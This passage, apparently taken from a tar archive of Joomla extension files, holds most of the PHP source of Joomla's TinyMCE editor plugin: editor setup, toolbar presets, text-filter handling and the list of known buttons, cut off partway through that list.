        type="text"
        label="PLG_TINY_FIELD_CUSTOMBUTTON_LABEL"
        description="PLG_TINY_FIELD_CUSTOMBUTTON_DESC"
        class="input-xxlarge"
    />
</form>                                                                                               editors/tinymce/tinymce.php                                                                         0000705                 00000163176 15242051521 0012057 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.tinymce
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

/**
 * TinyMCE Editor Plugin
 *
 * @since  1.5
 */
class PlgEditorTinymce extends JPlugin
{
	/**
	 * Base path for editor files
	 *
	 * @since  3.5
	 */
	protected $_basePath = 'media/editors/tinymce';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Loads the application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app = null;

	/**
	 * Initialises the Editor.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onInit()
	{
		JHtml::_('behavior.core');
		JHtml::_('behavior.polyfill', array('event'), 'lt IE 9');
		JHtml::_('script', $this->_basePath . '/tinymce.min.js', array('version' => 'auto'));
		JHtml::_('script', 'editors/tinymce/tinymce.min.js', array('version' => 'auto', 'relative' => true));
	}

	/**
	 * TinyMCE WYSIWYG Editor - get the editor content
	 *
	 * @param   string  $id  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return 'Joomla.editors.instances[' . json_encode($id) . '].getValue();';
	}

	/**
	 * TinyMCE WYSIWYG Editor - set the editor content
	 *
	 * @param   string  $id    The name of the editor
	 * @param   string  $html  The html to place in the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $html)
	{
		return 'Joomla.editors.instances[' . json_encode($id) . '].setValue(' . json_encode($html) . ');';
	}

	/**
	 * TinyMCE WYSIWYG Editor - copy editor content to form field
	 *
	 * @param   string  $id  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSave($id)
	{
	}

	/**
	 * Inserts html code into the editor
	 *
	 * @param   string  $name  The name of the editor
	 *
	 * @since   1.5
	 *
	 * @return  string
	 *
	 * @deprecated 3.5 tinyMCE (API v4) will get the content automatically from the text area
	 */
	public function onGetInsertMethod($name)
	{
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The name of the editor area.
	 * @param   string   $content  The content of the field.
	 * @param   string   $width    The width of the editor area.
	 * @param   string   $height   The height of the editor area.
	 * @param   int      $col      The number of columns for the editor area.
	 * @param   int      $row      The number of rows for the editor area.
	 * @param   boolean  $buttons  True and the editor buttons will be displayed.
	 * @param   string   $id       An optional ID for the textarea. If not supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 */
	public function onDisplay(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
	{
		$app = JFactory::getApplication();

		// Check for old params for B/C
		$config_warn_count = $app->getUserState('plg_editors_tinymce.config_legacy_warn_count', 0);

		if ($this->params->exists('mode') && $this->params->exists('alignment'))
		{
			if ($app->isClient('administrator') && $config_warn_count < 2)
			{
				$link = JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . $this->getPluginId());
				$app->enqueueMessage(JText::sprintf('PLG_TINY_LEGACY_WARNING', $link), 'warning');
				$app->setUserState('plg_editors_tinymce.config_legacy_warn_count', ++$config_warn_count);
			}

			return $this->onDisplayLegacy($name, $content, $width, $height, $col, $row, $buttons, $id, $asset, $author, $params);
		}

		if (empty($id))
		{
			$id = $name;
		}

		$id            = preg_replace('/(\s|[^A-Za-z0-9_])+/', '_', $id);
		$nameGroup     = explode('[', preg_replace('/\[\]|\]/', '', $name));
		$fieldName     = end($nameGroup);
		$scriptOptions = array();

		// Check for existing options
		$doc     = JFactory::getDocument();
		$options = $doc->getScriptOptions('plg_editor_tinymce');

		// Only add "px" to width and height if they are not given as a percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		// Data object for the layout
		$textarea = new stdClass;
		$textarea->name    = $name;
		$textarea->id      = $id;
		$textarea->class   = 'mce_editable joomla-editor-tinymce';
		$textarea->cols    = $col;
		$textarea->rows    = $row;
		$textarea->width   = $width;
		$textarea->height  = $height;
		$textarea->content = $content;

		// Set editor to readonly mode
		$textarea->readonly = !empty($params['readonly']);

		// Render Editor markup
		$editor = '<div class="js-editor-tinymce">';
		$editor .= JLayoutHelper::render('joomla.tinymce.textarea', $textarea);
		$editor .= $this->_toogleButton($id);
		$editor .= '</div>';

		// Prepare the instance specific options, actually the ext-buttons
		if (empty($options['tinyMCE'][$fieldName]['joomlaExtButtons']))
		{
			$btns = $this->tinyButtons($id, $buttons);

			if (!empty($btns['names']))
			{
				JHtml::_('script', 'editors/tinymce/tiny-close.min.js', array('version' => 'auto', 'relative' => true), array('defer' => 'defer'));
			}

			// Set editor to readonly mode
			if (!empty($params['readonly']))
			{
				$options['tinyMCE'][$fieldName]['readonly'] = 1;
			}

			$options['tinyMCE'][$fieldName]['joomlaMergeDefaults'] = true;
			$options['tinyMCE'][$fieldName]['joomlaExtButtons']    = $btns;

			$doc->addScriptOptions('plg_editor_tinymce', $options, false);
		}

		// Setup Default (common) options for the Editor script

		// Check whether we already have them
		if (!empty($options['tinyMCE']['default']))
		{
			return $editor;
		}

		$user     = JFactory::getUser();
		$language = JFactory::getLanguage();
		$theme    = 'modern';
		$ugroups  = array_combine($user->getAuthorisedGroups(), $user->getAuthorisedGroups());

		// Prepare the parameters
		$levelParams      = new Joomla\Registry\Registry;
		$extraOptions     = new stdClass;
		$toolbarParams    = new stdClass;
		$extraOptionsAll  = $this->params->get('configuration.setoptions', array());
		$toolbarParamsAll = $this->params->get('configuration.toolbars', array());

		// Get configuration depend from User group
		foreach ($extraOptionsAll as $set => $val)
		{
			$val->access = empty($val->access) ? array() : $val->access;

			// Check whether User in one of allowed group
			foreach ($val->access as $group)
			{
				if (isset($ugroups[$group]))
				{
					$extraOptions  = $val;
					$toolbarParams = $toolbarParamsAll->$set;
				}
			}
		}

		// Merge the params
		$levelParams->loadObject($toolbarParams);
		$levelParams->loadObject($extraOptions);

		// List the skins
		$skindirs = glob(JPATH_ROOT . '/media/editors/tinymce/skins' . '/*', GLOB_ONLYDIR);

		// Set the selected skin
		$skin = 'lightgray';
		$side = $app->isClient('administrator') ? 'skin_admin' : 'skin';

		if ((int) $levelParams->get($side, 0) < count($skindirs))
		{
			$skin = basename($skindirs[(int) $levelParams->get($side, 0)]);
		}

		$langMode   = $levelParams->get('lang_mode', 1);
		$langPrefix = $levelParams->get('lang_code', 'en');

		if ($langMode)
		{
			if (file_exists(JPATH_ROOT . '/media/editors/tinymce/langs/' . $language->getTag() . '.js'))
			{
				$langPrefix = $language->getTag();
			}
			elseif (file_exists(JPATH_ROOT . '/media/editors/tinymce/langs/' . substr($language->getTag(), 0, strpos($language->getTag(), '-')) . '.js'))
			{
				$langPrefix = substr($language->getTag(), 0, strpos($language->getTag(), '-'));
			}
			else
			{
				$langPrefix = 'en';
			}
		}

		$text_direction = 'ltr';

		if ($language->isRtl())
		{
			$text_direction = 'rtl';
		}

		$use_content_css    = $levelParams->get('content_css', 1);
		$content_css_custom = $levelParams->get('content_css_custom', '');

		/*
		 * Lets get the default template for the site application
		 */
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('template')
			->from('#__template_styles')
			->where('client_id=0 AND home=' . $db->quote('1'));

		$db->setQuery($query);

		try
		{
			$template = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$app->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return '';
		}

		$content_css    = null;
		$templates_path = JPATH_SITE . '/templates';

		// Loading of css file for 'styles' dropdown
		if ($content_css_custom)
		{
			// If URL, just pass it to $content_css
			if (strpos($content_css_custom, 'http') !== false)
			{
				$content_css = $content_css_custom;
			}

			// If it is not a URL, assume it is a file name in the current template folder
			else
			{
				$content_css = JUri::root(true) . '/templates/' . $template . '/css/' . $content_css_custom;

				// Issue warning notice if the file is not found (but pass name to $content_css anyway to avoid TinyMCE error
				if (!file_exists($templates_path . '/' . $template . '/css/' . $content_css_custom))
				{
					$msg = sprintf(JText::_('PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT'), $content_css_custom);
					JLog::add($msg, JLog::WARNING, 'jerror');
				}
			}
		}
		else
		{
			// Process when use_content_css is Yes and no custom file given
			if ($use_content_css)
			{
				// First check templates folder for default template
				// if no editor.css file in templates folder, check system template folder
				if (!file_exists($templates_path . '/' . $template . '/css/editor.css'))
				{
					// If no editor.css file in system folder, show alert
					if (!file_exists($templates_path . '/system/css/editor.css'))
					{
						JLog::add(JText::_('PLG_TINY_ERR_EDITORCSSFILENOTPRESENT'), JLog::WARNING, 'jerror');
					}
					else
					{
						$content_css = JUri::root(true) . '/templates/system/css/editor.css';
					}
				}
				else
				{
					$content_css = JUri::root(true) . '/templates/' . $template . '/css/editor.css';
				}
			}
		}

		$ignore_filter = false;

		// Text filtering
		if ($levelParams->get('use_config_textfilters', 0))
		{
			// Use filters from com_config
			$filter = static::getGlobalFilters();

			$ignore_filter = $filter === false;

			$tagBlacklist  = !empty($filter->tagBlacklist) ? $filter->tagBlacklist : array();
			$attrBlacklist = !empty($filter->attrBlacklist) ? $filter->attrBlacklist : array();
			$tagArray      = !empty($filter->tagArray) ? $filter->tagArray : array();
			$attrArray     = !empty($filter->attrArray) ? $filter->attrArray : array();

			$invalid_elements  = implode(',', array_merge($tagBlacklist, $attrBlacklist, $tagArray, $attrArray));

			// Valid elements are all whitelist entries in com_config, which are now missing in the tagBlacklist
			$default_filter = JFilterInput::getInstance();
			$valid_elements = implode(',', array_diff($default_filter->tagBlacklist, $tagBlacklist));

			$extended_elements = '';
		}
		else
		{
			// Use filters from TinyMCE params
			$invalid_elements  = trim($levelParams->get('invalid_elements', 'script,applet,iframe'));
			$extended_elements = trim($levelParams->get('extended_elements', ''));
			$valid_elements    = trim($levelParams->get('valid_elements', ''));
		}

		$html_height = $this->params->get('html_height', '550');
		$html_width  = $this->params->get('html_width', '');

		if ($html_width == 750)
		{
			$html_width = '';
		}

		// The param is true for vertical resizing only, false or both
		$resizing          = (bool) $levelParams->get('resizing', true);
		$resize_horizontal = (bool) $levelParams->get('resize_horizontal', true);

		if ($resizing && $resize_horizontal)
		{
			$resizing = 'both';
		}

		// Set of always available plugins
		$plugins  = array(
			'autolink',
			'lists',
			'colorpicker',
			'importcss',
		);

		// Allowed elements
		$elements = array(
			'hr[id|title|alt|class|width|size|noshade]',
		);

		if ($extended_elements)
		{
			$elements = array_merge($elements, explode(',', $extended_elements));
		}

		// Prepare the toolbar/menubar
		$knownButtons = static::getKnownButtons();

		// Check if there no value at all
		if (!$levelParams->get('menu') && !$levelParams->get('toolbar1') && !$levelParams->get('toolbar2'))
		{
			// Get from preset
			$presets = static::getToolbarPreset();

			/*
			 * Predefine group as:
			 * Set 0: for Administrator, Editor, Super Users (4,7,8)
			 * Set 1: for Registered, Manager (2,6), all else are public
			 */
			switch (true)
			{
				case isset($ugroups[4]) || isset($ugroups[7]) || isset($ugroups[8]):
					$preset = $presets['advanced'];
					break;

				case isset($ugroups[2]) || isset($ugroups[6]):
					$preset = $presets['medium'];
					break;

				default:
					$preset = $presets['simple'];
			}

			$levelParams->loadArray($preset);
		}

		$menubar  = (array) $levelParams->get('menu', array());
		$toolbar1 = (array) $levelParams->get('toolbar1', array());
		$toolbar2 = (array) $levelParams->get('toolbar2', array());

		// Make an easy way to check which button is enabled
		$allButtons = array_merge($toolbar1, $toolbar2);
		$allButtons = array_combine($allButtons, $allButtons);

		// Check for button-specific plugins
		foreach ($allButtons as $btnName)
		{
			if (!empty($knownButtons[$btnName]['plugin']))
			{
				$plugins[] = $knownButtons[$btnName]['plugin'];
			}
		}

		// Template
		$templates = array();

		if (!empty($allButtons['template']))
		{
			// Note this check for the template_list.js file will be removed in Joomla 4.0
			if (is_file(JPATH_ROOT . '/media/editors/tinymce/templates/template_list.js'))
			{
				// If using the legacy file we need to include and input the files the new way
				$str = file_get_contents(JPATH_ROOT . '/media/editors/tinymce/templates/template_list.js');

				// Find from one [ to the last ]
				$matches = array();
				preg_match_all('/\[.*\]/', $str, $matches);

				// Set variables
				foreach ($matches['0'] as $match)
				{
					$values = array();
					preg_match_all('/\".*\"/', $match, $values);
					$result       = trim($values['0']['0'], '"');
					$final_result = explode(',', $result);

					$templates[] = array(
						'title' => trim($final_result['0'], ' " '),
						'description' => trim($final_result['2'], ' " '),
						'url' => JUri::root(true) . '/' . trim($final_result['1'], ' " '),
					);
				}

			}
			else
			{
				foreach (glob(JPATH_ROOT . '/media/editors/tinymce/templates/*.html') as $filename)
				{
					$filename = basename($filename, '.html');

					if ($filename !== 'index')
					{
						$lang        = JFactory::getLanguage();
						$title       = $filename;
						$description = ' ';

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_TITLE'))
						{
							$title = JText::_('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_TITLE');
						}

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_DESC'))
						{
							$description = JText::_('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_DESC');
						}

						$templates[] = array(
							'title' => $title,
							'description' => $description,
							'url' => JUri::root(true) . '/media/editors/tinymce/templates/' . $filename . '.html',
						);
					}
				}
			}
		}

		// Check for extra plugins, from the setoptions form
		foreach (array('wordcount' => 1, 'advlist' => 1, 'autosave' => 1, 'contextmenu' => 1) as $pName => $def)
		{
			if ($levelParams->get($pName, $def))
			{
				$plugins[] = $pName;
			}
		}

		// User custom plugins and buttons
		$custom_plugin = trim($levelParams->get('custom_plugin', ''));
		$custom_button = trim($levelParams->get('custom_button', ''));

		if ($custom_plugin)
		{
			$separator = strpos($custom_plugin, ',') !== false ? ',' : ' ';
			$plugins   = array_merge($plugins, explode($separator, $custom_plugin));
		}

		if ($custom_button)
		{
			$separator = strpos($custom_button, ',') !== false ? ',' : ' ';
			$toolbar1  = array_merge($toolbar1, explode($separator, $custom_button));
		}

		// Drag and drop Images
		$allowImgPaste = false;
		$dragdrop      = $levelParams->get('drag_drop', 1);

		if ($dragdrop && $user->authorise('core.create', 'com_media'))
		{
			$externalPlugins['jdragdrop'] = HTMLHelper::_(
					'script',
					'editors/tinymce/plugins/dragdrop/plugin.min.js',
					array('relative' => true, 'version' => 'auto', 'pathOnly' => true)
				);
			$allowImgPaste = true;
			$isSubDir      = '';
			$session       = JFactory::getSession();
			$uploadUrl     = JUri::base() . 'index.php?option=com_media&task=file.upload&tmpl=component&'
				. $session->getName() . '=' . $session->getId()
				. '&' . JSession::getFormToken() . '=1'
				. '&asset=image&format=json';

			if ($app->isClient('site'))
			{
				$uploadUrl = htmlentities($uploadUrl, 0, 'UTF-8', false);
			}

			// Is Joomla installed in subdirectory
			if (JUri::root(true) !== '/')
			{
				$isSubDir = JUri::root(true);
			}

			JText::script('PLG_TINY_ERR_UNSUPPORTEDBROWSER');

			$scriptOptions['setCustomDir']    = $isSubDir;
			$scriptOptions['mediaUploadPath'] = $levelParams->get('path', '');
			$scriptOptions['uploadUri']       = $uploadUrl;
		}

		// Build the final options set
		$scriptOptions = array_merge(
			$scriptOptions,
			array(
			'suffix'  => '.min',
			'baseURL' => JUri::root(true) . '/media/editors/tinymce',
			'directionality' => $text_direction,
			'language' => $langPrefix,
			'autosave_restore_when_empty' => false,
			'skin'   => $skin,
			'theme'  => $theme,
			'schema' => 'html5',

			// Toolbars
			'menubar'  => empty($menubar)  ? false : implode(' ', array_unique($menubar)),
			'toolbar1' => empty($toolbar1) ? null  : implode(' ', $toolbar1),
			'toolbar2' => empty($toolbar2) ? null  : implode(' ', $toolbar2),

			'plugins'  => implode(',', array_unique($plugins)),

			// Cleanup/Output
			'inline_styles'    => true,
			'gecko_spellcheck' => true,
			'entity_encoding'  => $levelParams->get('entity_encoding', 'raw'),
			'verify_html'      => !$ignore_filter,

			'valid_elements'          => $valid_elements,
			'extended_valid_elements' => implode(',', $elements),
			'invalid_elements'        => $invalid_elements,

			// URL
			'relative_urls'      => (bool) $levelParams->get('relative_urls', true),
			'remove_script_host' => false,

			// Layout
			'content_css'        => $content_css,
			'document_base_url'  => JUri::root(true) . '/',
			'paste_data_images'  => $allowImgPaste,
			'importcss_append'   => true,
			'image_title'        => true,
			'height'             => $html_height,
			'width'              => $html_width,
			'resize'             => $resizing,
			'templates'          => $templates,
			'image_advtab'       => (bool) $levelParams->get('image_advtab', false),
			'external_plugins'   => empty($externalPlugins) ? null  : $externalPlugins,
			'contextmenu'        => (bool) $levelParams->get('contextmenu', true) ? null : false,
			'elementpath'        => (bool) $levelParams->get('element_path', true),
		)
		);

		if ($levelParams->get('newlines'))
		{
			// Break
			$scriptOptions['force_br_newlines'] = true;
			$scriptOptions['force_p_newlines']  = false;
			$scriptOptions['forced_root_block'] = '';
		}
		else
		{
			// Paragraph
			$scriptOptions['force_br_newlines'] = false;
			$scriptOptions['force_p_newlines']  = true;
			$scriptOptions['forced_root_block'] = 'p';
		}

		$scriptOptions['rel_list'] = array(
			array('title' => 'None', 'value' => ''),
			array('title' => 'Alternate', 'value' => 'alternate'),
			array('title' => 'Author', 'value' => 'author'),
			array('title' => 'Bookmark', 'value' => 'bookmark'),
			array('title' => 'Help', 'value' => 'help'),
			array('title' => 'License', 'value' => 'license'),
			array('title' => 'Lightbox', 'value' => 'lightbox'),
			array('title' => 'Next', 'value' => 'next'),
			array('title' => 'No Follow', 'value' => 'nofollow'),
			array('title' => 'No Referrer', 'value' => 'noreferrer'),
			array('title' => 'Prefetch', 'value' => 'prefetch'),
			array('title' => 'Prev', 'value' => 'prev'),
			array('title' => 'Search', 'value' => 'search'),
			array('title' => 'Tag', 'value' => 'tag'),
		);

		/**
		 * Shrink the buttons if not on a mobile or if mobile view is off.
		 * If mobile view is on force into simple mode and enlarge the buttons
		 **/
		if (!$this->app->client->mobile)
		{
			$scriptOptions['toolbar_items_size'] = 'small';
		}
		elseif ($levelParams->get('mobile', 0))
		{
			$scriptOptions['menubar'] = false;
			unset($scriptOptions['toolbar2']);
		}

		$options['tinyMCE']['default'] = $scriptOptions;

		$doc->addStyleDeclaration('.mce-in { padding: 5px 10px !important;}');
		$doc->addScriptOptions('plg_editor_tinymce', $options);

		return $editor;
	}

	/**
	 * Get the toggle editor button
	 *
	 * @param   string  $name  Editor name
	 *
	 * @return  string
	 */
	private function _toogleButton($name)
	{
		return JLayoutHelper::render('joomla.tinymce.togglebutton', $name);
	}

	/**
	 * Get the XTD buttons and render them inside tinyMCE
	 *
	 * @param   string  $name      the id of the editor field
	 * @param   string  $excluded  the buttons that should be hidden
	 *
	 * @return array
	 */
	private function tinyButtons($name, $excluded)
	{
		// Get the available buttons
		$buttons = $this->_subject->getButtons($name, $excluded);

		// Init the arrays for the buttons
		$tinyBtns  = array();
		$btnsNames = array();

		// Build the script
		foreach ($buttons as $i => $button)
		{
			if ($button->get('name'))
			{
				// Set some vars
				$name    = 'button-' . $i . str_replace(' ', '', $button->get('text'));
				$title   = $button->get('text');
				$onclick = $button->get('onclick') ?: null;
				$options = $button->get('options');
				$icon    = $button->get('name');

				if ($button->get('link') !== '#')
				{
					$href = JUri::base() . $button->get('link');
				}
				else
				{
					$href = null;
				}

				// We do some hack here to set the correct icon for 3PD buttons
				$icon = 'none icon-' . $icon;

				$tempConstructor = array();

				// Now we can built the script
				$tempConstructor[] = '!(function(){';

				// Get the modal width/height
				if ($options && is_scalar($options))
				{
					$tempConstructor[] = 'var getBtnOptions=new Function("return ' . addslashes($options) . '"),';
					$tempConstructor[] = 'btnOptions=getBtnOptions(),';
					$tempConstructor[] = 'modalWidth=btnOptions.size&&btnOptions.size.x?btnOptions.size.x:null,';
					$tempConstructor[] = 'modalHeight=btnOptions.size&&btnOptions.size.y?btnOptions.size.y:null;';
				}
				else
				{
					$tempConstructor[] = 'var btnOptions={},modalWidth=null,modalHeight=null;';
				}

				// Now we can built the script
				// AddButton starts here
				$tempConstructor[] = 'editor.addButton("' . $name . '",{';
				$tempConstructor[] = 'text:"' . $title . '",';
				$tempConstructor[] = 'title:"' . $title . '",';
				$tempConstructor[] = 'icon:"' . $icon . '",';

				// Onclick starts here
				$tempConstructor[] = 'onclick:function(){';

				if ($href || $button->get('modal'))
				{
					// TinyMCE standard modal options
					$tempConstructor[] = 'var modalOptions={';
					$tempConstructor[] = 'title:"' . $title . '",';
					$tempConstructor[] = 'url:"' . $href . '",';
					$tempConstructor[] = 'buttons:[{text: "Close",onclick:"close"}]';
					$tempConstructor[] = '};';

					// Set width/height
					$tempConstructor[] = 'if(modalWidth){modalOptions.width=modalWidth;}';
					$tempConstructor[] = 'if(modalHeight){modalOptions.height = modalHeight;}';
					$tempConstructor[] = 'var win=editor.windowManager.open(modalOptions);';

					if (JFactory::getApplication()->client->mobile)
					{
						$tempConstructor[] = 'win.fullscreen(true);';
					}

					if ($onclick && ($button->get('modal') || $href))
					{
						// Adds callback for close button
						$tempConstructor[] = $onclick . ';';
					}
				}
				else
				{
					// Adds callback for the button, eg: readmore
					$tempConstructor[] = $onclick . ';';
				}

				// Onclick ends here
				$tempConstructor[] = '}';

				// AddButton ends here
				$tempConstructor[] = '});';

				// IIFE ends here
				$tempConstructor[] = '})();';

				// The array with the toolbar buttons
				$btnsNames[] = $name . ' | ';

				// The array with code for each button
				$tinyBtns[] = implode('', $tempConstructor);
			}
		}

		return array(
				'names'  => $btnsNames,
				'script' => $tinyBtns
		);
	}

	/**
	 * Get the global text filters to arbitrary text as per settings for current user groups
	 *
	 * @return  JFilterInput
	 *
	 * @since   3.6
	 */
	protected static function getGlobalFilters()
	{
		// Filter settings
		$config     = JComponentHelper::getParams('com_config');
		$user       = JFactory::getUser();
		$userGroups = JAccess::getGroupsByUser($user->get('id'));

		$filters = $config->get('filters');

		$blackListTags       = array();
		$blackListAttributes = array();

		$customListTags       = array();
		$customListAttributes = array();

		$whiteListTags       = array();
		$whiteListAttributes = array();

		$whiteList  = false;
		$blackList  = false;
		$customList = false;
		$unfiltered = false;

		// Cycle through each of the user groups the user is in.
		// Remember they are included in the public group as well.
		foreach ($userGroups as $groupId)
		{
			// May have added a group but not saved the filters.
			if (!isset($filters->$groupId))
			{
				continue;
			}

			// Each group the user is in could have different filtering properties.
			$filterData = $filters->$groupId;
			$filterType = strtoupper($filterData->filter_type);

			if ($filterType === 'NH')
			{
				// Maximum HTML filtering.
			}
			elseif ($filterType === 'NONE')
			{
				// No HTML filtering.
				$unfiltered = true;
			}
			else
			{
				// Blacklist or whitelist.
				// Preprocess the tags and attributes.
				$tags           = explode(',', $filterData->filter_tags);
				$attributes     = explode(',', $filterData->filter_attributes);
				$tempTags       = array();
				$tempAttributes = array();

				foreach ($tags as $tag)
				{
					$tag = trim($tag);

					if ($tag)
					{
						$tempTags[] = $tag;
					}
				}

				foreach ($attributes as $attribute)
				{
					$attribute = trim($attribute);

					if ($attribute)
					{
						$tempAttributes[] = $attribute;
					}
				}

				// Collect the blacklist or whitelist tags and attributes.
				// Each list is cummulative.
				if ($filterType === 'BL')
				{
					$blackList           = true;
					$blackListTags       = array_merge($blackListTags, $tempTags);
					$blackListAttributes = array_merge($blackListAttributes, $tempAttributes);
				}
				elseif ($filterType === 'CBL')
				{
					// Only set to true if Tags or Attributes were added
					if ($tempTags || $tempAttributes)
					{
						$customList           = true;
						$customListTags       = array_merge($customListTags, $tempTags);
						$customListAttributes = array_merge($customListAttributes, $tempAttributes);
					}
				}
				elseif ($filterType === 'WL')
				{
					$whiteList           = true;
					$whiteListTags       = array_merge($whiteListTags, $tempTags);
					$whiteListAttributes = array_merge($whiteListAttributes, $tempAttributes);
				}
			}
		}

		// Remove duplicates before processing (because the blacklist uses both sets of arrays).
		$blackListTags        = array_unique($blackListTags);
		$blackListAttributes  = array_unique($blackListAttributes);
		$customListTags       = array_unique($customListTags);
		$customListAttributes = array_unique($customListAttributes);
		$whiteListTags        = array_unique($whiteListTags);
		$whiteListAttributes  = array_unique($whiteListAttributes);

		// Unfiltered assumes first priority.
		if ($unfiltered)
		{
			// Dont apply filtering.
			return false;
		}
		else
		{
			// Custom blacklist precedes Default blacklist
			if ($customList)
			{
				$filter = JFilterInput::getInstance(array(), array(), 1, 1);

				// Override filter's default blacklist tags and attributes
				if ($customListTags)
				{
					$filter->tagBlacklist = $customListTags;
				}

				if ($customListAttributes)
				{
					$filter->attrBlacklist = $customListAttributes;
				}
			}
			// Blacklists take second precedence.
			elseif ($blackList)
			{
				// Remove the white-listed tags and attributes from the black-list.
				$blackListTags       = array_diff($blackListTags, $whiteListTags);
				$blackListAttributes = array_diff($blackListAttributes, $whiteListAttributes);

				$filter = JFilterInput::getInstance($blackListTags, $blackListAttributes, 1, 1);

				// Remove whitelisted tags from filter's default blacklist
				if ($whiteListTags)
				{
					$filter->tagBlacklist = array_diff($filter->tagBlacklist, $whiteListTags);
				}

				// Remove whitelisted attributes from filter's default blacklist
				if ($whiteListAttributes)
				{
					$filter->attrBlacklist = array_diff($filter->attrBlacklist, $whiteListAttributes);
				}
			}
			// Whitelists take third precedence.
			elseif ($whiteList)
			{
				// Turn off XSS auto clean
				$filter = JFilterInput::getInstance($whiteListTags, $whiteListAttributes, 0, 0, 0);
			}
			// No HTML takes last place.
			else
			{
				$filter = JFilterInput::getInstance();
			}

			return $filter;
		}
	}

	/**
	 * Return list of known TinyMCE buttons
	 *
	 * @return array
	 *
	 * @since 3.7.0
	 */
	public static function getKnownButtons()
	{
		// See https://www.tinymce.com/docs/demo/full-featured/
		// And https://www.tinymce.com/docs/plugins/
		$buttons = array(

			// General buttons
			'|'              => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_SEPARATOR'), 'text' => '|'),

			'undo'           => array('label' => 'Undo'),
			'redo'           => array('label' => 'Redo'),

			'bold'           => array('label' => 'Bold'),
			'italic'         => array('label' => 'Italic'),
			'underline'      => array('label' => 'Underline'),
			'strikethrough'  => array('label' => 'Strikethrough'),
			'styleselect'    => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_STYLESELECT'), 'text' => 'Formats'),
			'formatselect'   => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_FORMATSELECT'), 'text' => 'Paragraph'),
			'fontselect'     => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_FONTSELECT'), 'text' => 'Font Family'),
			'fontsizeselect' => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_FONTSIZESELECT'), 'text' => 'Font Sizes'),

			'alignleft'     => array('label' => 'Align left'),
			'aligncenter'   => array('label' => 'Align center'),
			'alignright'    => array('label' => 'Align right'),
			'alignjustify'  => array('label' => 'Justify'),

			'outdent'       => array('label' => 'Decrease indent'),
			'indent'        => array('label' => 'Increase indent'),

			'bullist'       => array('label' => 'Bullet list'),
			'numlist'       => array('label' => 'Numbered list'),

			'link'          => array('label' => 'Insert/edit link', 'plugin' => 'link'),
			'unlink'        => array('label' => 'Remove link', 'plugin' => 'link'),

			'subscript'     => array('label' => 'Subscript'),
			'superscript'   => array('label' => 'Superscript'),
			'blockquote'    => array('label' => 'Blockquote'),

			'cut'           => array('label' => 'Cut'),
			'copy'          => array('label' => 'Copy'),
			'paste'         => array('label' => 'Paste', 'plugin' => 'paste'),
			'pastetext'     => array('label' => 'Paste as text', 'plugin' => 'paste'),
			'removeformat'  => array('label' => 'Clear formatting'),

			// Buttons from the plugins
			'forecolor'      => array('label' => 'Text color', 'plugin' => 'textcolor'),
			'backcolor'      => array('label' => 'Background color', 'plugin' => 'textcolor'),
			'anchor'         => array('label' => 'Anchor', 'plugin' => 'anchor'),
			'hr'             => array('label' => 'Horizontal line', 'plugin' => 'hr'),
			'ltr'            => array('label' => 'Left to right', 'plugin' => 'directionality'),
			'rtl'            => array('label' => 'Right to left', 'plugin' => 'directionality'),
			'code'           => array('label' => 'Source code', 'plugin' => 'code'),
			'codesample'     => array('label' => 'Insert/Edit code sample', 'plugin' => 'codesample'),
			'table'          => array('label' => 'Table', 'plugin' => 'table'),
			'charmap'        => array('label' => 'Special character', 'plugin' => 'charmap'),
			'visualchars'    => array('label' => 'Show invisible characters', 'plugin' => 'visualchars'),
			'visualblocks'   => array('label' => 'Show blocks', 'plugin' => 'visualblocks'),
			'nonbreaking'    => array('label' => 'Nonbreaking space', 'plugin' => 'nonbreaking'),
			'emoticons'      => array('label' => 'Emoticons', 'plugin' => 'emoticons'),
			'image'          => array('label' => 'Insert/edit image', 'plugin' => 'image'),
			'media'          => array('label' => 'Insert/edit video', 'plugin' => 'media'),
			'pagebreak'      => array('label' => 'Page break', 'plugin' => 'pagebreak'),
			'print'          => array('label' => 'Print', 'plugin' => 'print'),
			'preview'        => array('label' => 'Preview', 'plugin' => 'preview'),
			'fullscreen'     => array('label' => 'Fullscreen', 'plugin' => 'fullscreen'),
			'template'       => array('label' => 'Insert template', 'plugin' => 'template'),
			'searchreplace'  => array('label' => 'Find and replace', 'plugin' => 'searchreplace'),
			'insertdatetime' => array('label' => 'Insert date/time', 'plugin' => 'insertdatetime'),
